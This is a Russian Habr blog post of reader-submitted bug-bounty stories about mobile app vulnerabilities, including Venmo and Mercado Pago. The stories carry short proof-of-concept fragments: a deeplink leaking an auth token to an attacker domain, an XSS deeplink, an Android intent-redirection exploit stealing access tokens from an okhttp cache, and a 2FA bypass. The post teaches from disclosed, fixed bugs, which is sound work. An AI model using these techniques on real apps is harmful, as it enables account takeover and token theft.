Привет, Хабр!
По традиции, все билеты на конференции, которые мне попадаются или достаются за участие в различных мероприятиях и их освещение в телеграмм-канале Mobile AppSec World, я разыгрываю среди подписчиков. За прошедшие несколько недель я уже выдал инвайты на OFFZONE 2022, которая пройдет 25-26 августа в Москве, и на Mobius, которая была в Питере.
На конкурс я просил подписчиков присылать мне самые интересные, смешные, нелепые, глупые или запоминающиеся уязвимости, которые они когда-либо находили в мобильных (и не только) приложениях.
Поскольку канал читает много разработчиков, я также просил их присылать самое удивительное, что они встречали в отчетах о проведенных аудитах безопасности приложений. Ведь все мы (пентестеры), когда-то писали что-то не совсем корректное, особенно, если отчет был пустым и мы ничего не нашли (да, такое тоже периодически бывает).
И здесь я как раз и собрал самые крутые истории, которые мне прислали, чтобы вы также могли их прочитать и улыбнуться вместе со мной (орфография и стиль полностью перенесены из сообщения авторов без изменений).
Итак, поехали!
История #1 от @artebels
Не совсем мобилка, но тем не менее. Самая тупая бага была в функции регистрации в одном мобильном приложении. Воспроизведение выглядело так:
Пользователь А создает новый аккаунт с помощью почты и пароля.
Пользователь Б создает новый аккаунт с помощью почты пользователя А и своим паролем.
Пользователь Б попадает в аккаунт пользователя А.
А знаете как они пофиксили эту багу? Добавили двухфакторку для проверки кода из почты.
А знаете как это обходилось? Просто в пост запросе удалялся параметр с кодом из почты!
История #2 от @impact_l
Наливайте чай, устраивайтесь поудобнее. Расскажу вам сказ, о том как нашёл уязвимость в мобильном приложении от PayPal. А именно речь пойдёт об их активе com.venmo. В одно прекрасное утро, как обычно, решил закинуть apk в jadx, чтобы найти уязвимость.
Просматривая строки кода, один класс, второй... Ничего интересного. Тут уж я расстроился, думал перейти к следующему активу, но мой глаз зацепился за класс webview.
Да-да, там была интересная функция которая автоматически присваивала AuthorizationToken при загрузке страницы в WebView.
Естественно, можно было отправить url прямо в класс через deeplink venmo://webview?url=https://www.google.com/
Вот только там была проверка хоста.
— Возможно она реализована неверно. Подумал я вслух.
А код проверки был следующим:
public static boolean isSecureVenmoHostUrl(Uri uri) {
boolean z = false;
if (uri == null) {
return false;
}
String host = uri.getHost();
String scheme = uri.getScheme();
if (host != null && scheme != null
&& scheme.equalsIgnoreCase(BuildConfig.SCHEME)
&& (host.endsWith(".venmo.com") || host.equals("venmo.com") || host.endsWith("venmo.biz")))
{
z = true;
}
return z;
}
Вам даётся 5 секунд, на то чтобы найти ошибку.
5..
4..
Верно, здесь забыли добавить точку host.endsWith("venmo.biz")
Недолго думая, я решил организовать PoC и проверить:
<a href="venmo://webview?url=https://fakevenmo.biz/theft.html"PoC> Intent Send</a>
Триагер пришёл. Поставил Triage. Ура!
А потом поменял на Duplicate. Указав что у них уже есть отчёт с этой ошибкой 401940. Моему негодованию не было предела. Чтож поздравляю @bagipro хорошо поймал!
Естественно, я следил за дальнейшими обновлениями приложения. И к моему счастью (конечно, ведь баунти 10к$), обнаружил что отчёт #401940 помечен как resolved, а ошибка всё ещё осталась в приложении!
Быстро сев за клавиатуру, я начал пилить репорт. На следующий день триагер ставит мне дубликат. Как же так?
Поставив ультиматум с просьбой добавить меня в отчёт — Закинули сюда #450832. Чтож поздравляю @bagipro хорошо поймал (снова)!
Я пытался оспорить решение о том, что мой отчёт — дубликат, ведь мой отчёт был отправлен раньше #450832. Но триагеры были неумолимы. В итоге, смирившись, оставил эту затею.
Спустя год или два. PayPal наконец-то исправили приложение. Внеся невероятный Fix:
host.endsWith(".venmo.biz")
Верно, они добавили точку.
— Теперь пользователи PayPal в безопасности. Сказал вслух, закатывая глаза.
Однако, они по прежнему присваивают AuthorizationToken при загрузке url в webview. Нужно запомнить это знание.
Спустя два года, в мои цепкие лапы попала xss на поддомене .venmo.com
Недолго думая, составил deeplink venmo://webview?url=https://legal.venmo.com/index.php?p=<script>alert()<script>
Успешно применив знание, я отправил отчёт в PayPal, и заполучил заслуженный reward.
Не знаю, грустная эта история или весёлая. По крайней мере она мне кажется немного поучительной
P.S. история является реальной, все совпадения не случайны
История #3 от @artebels
Мобильный и десктопный чатик можно было глобально заддосить для всех пользователей, отправив в чат 50к символов. Проблема была в обработчике сообщений, вместо разбиения 50к символов на части, он отправлял их целым пакетом, который убивал парсер. А при последующем открытии приложения, оно даже не прогружалось до списка входящих сообщений, зависало и падало.
История #4 от @iSavAnna
Самая тупая уязвимость которую только встречала была в методе перевода валют. Текущий курс передавался в параметре аля "currancy_rate
". Соответственно за 1 копейку можно было купить доллар. Парадоксально, что эта бага была в двух платежных системах и некоторое время жила на проде.
Похожую вещь иногда нахожу, когда все, что передается в методе - пишется в монгу и можно получить платную услугу, передав флаг.
История #5 от @impact_l
Долго думая и размышляя, что означает "самая дикая дичь", всё таки набрался смелости и выбрал подходящую историю.
Когда у нас проходит пентест, на активах иногда обнаруживаются уязвимости одного типа. Чаще всего такие находки также воспроизводятся, имеют одинаковое происхождение и один исходный код. Например: на сайте есть множество полей, которые можно заполнить различными данными, и рядом с каждым полем есть кнопка "сохранить".
А теперь представьте, что каждое поле уязвимо к XSS. "Почему?" - спросите вы.
— Да потому, что каждое поле пусть и имеет разные конечные точки, функция отвечающая за санитизацию параметров у них одна santizeField(input).
В итоге мы наблюдаем в отчёте (особенно когда пентест whitebox), множество и множество разных url адресов, для совершенно разных полей и параметров.
Нельзя упустить ничего, вдруг к одному из url назначена другая функция и пиши пропало. Спасибо пентестеру, что перечислил все.
Или вот, пример, когда XSS одна, а CNAME для этого домена — много.
Но лучше вернуться к мобильным приложениям, ибо канал не для веб разработчиков. Что исследователю, который с помощью технологии drag&drop переместил apk в декомпилятор, хочется увидеть больше всего в результате?
Есть такое приложение Mercado Pago, оно предназначено для совершения онлайн платежей пользователями из Латинской Америки.
Платежи — дело важное, нужно защищать пользователей и их средства. Поэтому, для улучшения своих процессов AppSec, компанией было принято решение запустить программу BugBounty. Ну и выложили они там своё мобильное приложение.
Давайте вместе посмотрим из чего оно состоит. Открываем AndroidManifest.xml
Загружается...
<activity android:name="com.mercadopago.activitiesdetail.activities.NewOperationDetailActivity" android:exported="true">
<activity android:name="com.mercadopago.android.google.connect.core.webview.WebviewActivity" android:exported="true">
<activity android:name="com.mercadopago.withdraw.activities.SecondPassActivity" android:exported="true">
<activity android:name="com.mercadopago.withdraw.activities.WebviewActivity" android:exported="true">
<activity android:name="com.mercadopago.withdraw.activities.AddBankAccountActivity" android:exported="true">
<activity android:name="com.mercadopago.withdraw.activities.SelectBankAccountActivity" android:exported="true">
<activity android:name="com.mercadopago.withdraw.activities.SecondPassActivity" android:exported="true">
...+90
— Невероятно, я не сплю? Это какая-то дичь, 100 экспортированных активностей!, и все они общаются постоянно между собой с помощью android.content.Intent?
Не может быть такого. Наверное, сейчас открою классы и в итоге там внутри окажется заглушка для флаттера.
На самом деле - действительно, вся логика приложения написана на Java (Kotlin).
Все эти 10 разных активити отвечающие за разные webview, открываются с помощью deeplink вида mercadopago://wallet?url=http://google.com
Естественно, я начал писать отчёты в компанию о Невероятной Угрозе Информационной Безопасности Пользователей, каждому отчёту присваивал Средний Уровень Серьёзности , и описывал насколько велика угроза фишинга в виде открытой страницы внутри платёжного приложения.
Главное делать перерывы между отчётами, чтобы они не догадались о том, что уязвимости похожи.
После первого отчёта, и выплаты за него, спустя неделю, они внесли невероятный фикс для одной из десяти WebviewActivity, вот такой : android:exported="false"
Затем, как можно более аккуратно, отправлял один отчёт за другим.
"Золотая жила! Больше мне не придётся работать." — подумал я.
Но жизнь не так проста, после нескольких отчётов они догадались и сразу внесли исправление для нескольких activity
.
Проклятье! Ну и ладно, найду что-нибудь другое.
Просматривая классы, обнаружил следующий код в экспортированной активности:
Intent intent = (Intent) SelectBankAccountActivity.this.getIntent().getParcelableExtra("select_bank_next_intent_extra");
SelectBankAccountActivity.this.startActivity(intent);
SelectBankAccountActivity.this.finish();
Да, вашему взору предстала стандартная уязвимость когда используя злонамеренное намерение можно получить доступ к защищенным(не экспортированным) компонентам приложения. Смысл в том что приложение забирает из FlowState "объект" который может отправить злоумышленник, а потом запускает.
Ура! Теперь осталось составить PoC:
Intent next = new Intent("android.intent.action.VIEW");
next.setClassName(????)
//...
Intent intent = new Intent("android.intent.action.VIEW");
intent.putExtra("select_bank_next_intent_extra", next);
startActivity(intent);
Но в какую activity отправить злонамеренный intent от имени приложения, если все activity и так уже экспортированы?
Проявляя невероятную находчивость. Мне удалось найти внутри приложения кеш okhttp в котором хранились запросы с access_token.
Недолго думая, я наконец-то придумал содержимое для переменной next:
Intent next = new Intent("android.intent.action.VIEW");
next.setClassName(getPackageName(),"com.myclass.Theft");
next.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
next.setData(Uri.parse("content://com.mercado.wallet.provider/images/okhttp/journal"));
Выставив уровень серьёзности High — получил ещё один, заcлуженный reward. И знаете, там ещё было с десяток таких activity, которые запускали вложенный intent.
Разработчики делали следующий фикс: они убирали запуск вложенного intent и ставили exported="false"
Но даже на 5 отчёте с этой уязвимостью, они не отключили кеш okhttp.
Подводя итоги, нужно найти тонкую грань, где начинается одна уязвимость и заканчивается вторая, чтобы правильно внести исправление.
Разработчики, не делайте такую архитектуру для приложений, не извлекайте из стороннего приложения ParcelableIntent
для его последующего запуска. Надеюсь ваш код всегда будет безопасным!
P.S. история является реальной, все совпадения не случайны
Заключение
Спасибо всем, кто принял участие в конкурсе, а так же всем, кто читал эти истории и удивлялся вместе со мной. Победители заслуженно получили свои билеты на конференции.
Но на этом чудеса не заканчиваются, ведь у меня осталось еще несколько свободных билетов, и я также планирую их разыграть.
Спасибо за чтение и встретимся на конференциях!